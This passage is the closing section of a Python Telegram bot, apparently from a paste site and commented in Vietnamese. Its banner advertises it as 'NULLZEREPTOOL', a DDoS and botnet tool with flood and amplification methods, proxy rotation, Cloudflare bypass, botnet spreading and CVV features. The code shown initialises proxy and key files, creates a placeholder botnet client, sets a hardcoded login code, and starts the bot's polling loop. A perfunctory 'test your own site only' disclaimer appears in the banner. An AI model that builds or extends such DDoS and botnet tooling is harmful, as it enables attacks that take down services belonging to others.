- ━━━━━━━━━━━━━━━━━━
- 📌 Gõ /help để xem danh sách lệnh
- 🔐 Đăng nhập: /login 7788
- """, parse_mode='Markdown')
- # ==================== CHẠY BOT ====================
- if __name__ == '__main__':
- if not os.path.exists(PROXY_FILE):
- with open(PROXY_FILE, 'w') as f:
- f.write("# Mỗi dòng một proxy: ip:port\n")
- if not os.path.exists(KEYS_FILE):
- save_keys({})
- if not os.path.exists(HISTORY_FILE):
- save_history([])
- if not proxy_list:
- update_proxy_list()
- # Tạo file client.py rỗng nếu chưa có (để API /static/client.py không lỗi)
- if not os.path.exists("client.py"):
- with open("client.py", "w") as f:
- f.write("# Client botnet sẽ được cập nhật sau\n")
- print("""
- ╔══════════════════════════════════════════════════════════════════════════╗
- ║ ║
- ║ 💀 NULLZEREPTOOL - SIÊU DDOS BOT + BOTNET (NÂNG CẤP TỐI ĐA) 💀 ║
- ║ ║
- ║ 🔥 40+ CHỨC NĂNG | ĐA PHƯƠNG THỨC TẤN CÔNG 🔥 ║
- ║ 🔄 TỰ ĐỘNG XOAY PROXY (500+ PROXY) | BOTNET LÂY LAN ║
- ║ 🔐 KEY KÍCH HOẠT | AMPLIFICATION | BYPASS CF ║
- ║ ✨ HTTPS FLOOD | AUTO INCREASE | DATABASE | BROADCAST ║
- ║ 📊 CHART | DEPLOY | VERSION | UPDATE | CVV ║
- ║ 🚀 20+ METHOD MỚI: http2, synack, gre, quic, ws, graphql... ║
- ║ ✅ ĐÃ SỬA LỖI: CHECK WEB CHÍNH XÁC, PROXY TỰ ĐỘNG RESET ║
- ║ ║
- ║ 📡 BOT ĐANG CHẠY... ║
- ║ 🔐 ĐĂNG NHẬP: /login 7788 ║
- ║ 📜 XEM LỆNH: /help ║
- ║ ║
- ║ ⚠️ CHỈ DÙNG ĐỂ TEST WEB CỦA CHÍNH BẠN! ⚠️ ║
- ║ ║
- ╚══════════════════════════════════════════════════════════════════════════╝
- """)
- def signal_handler(sig, frame):
- print("\n🛑 Đang dừng bot...")
- for chat_id in list(attacks.keys()):
- stop_attack(chat_id)
- sys.exit(0)
- signal.signal(signal.SIGINT, signal_handler)
- signal.signal(signal.SIGTERM, signal_handler)
- try:
- bot.infinity_polling(timeout=10)
- except Exception as e:
- logging.error(f"Lỗi bot: {e}")
- print(f"❌ LỖI: {e}")
- time.sleep(5)
Add Comment
Please, Sign In to add comment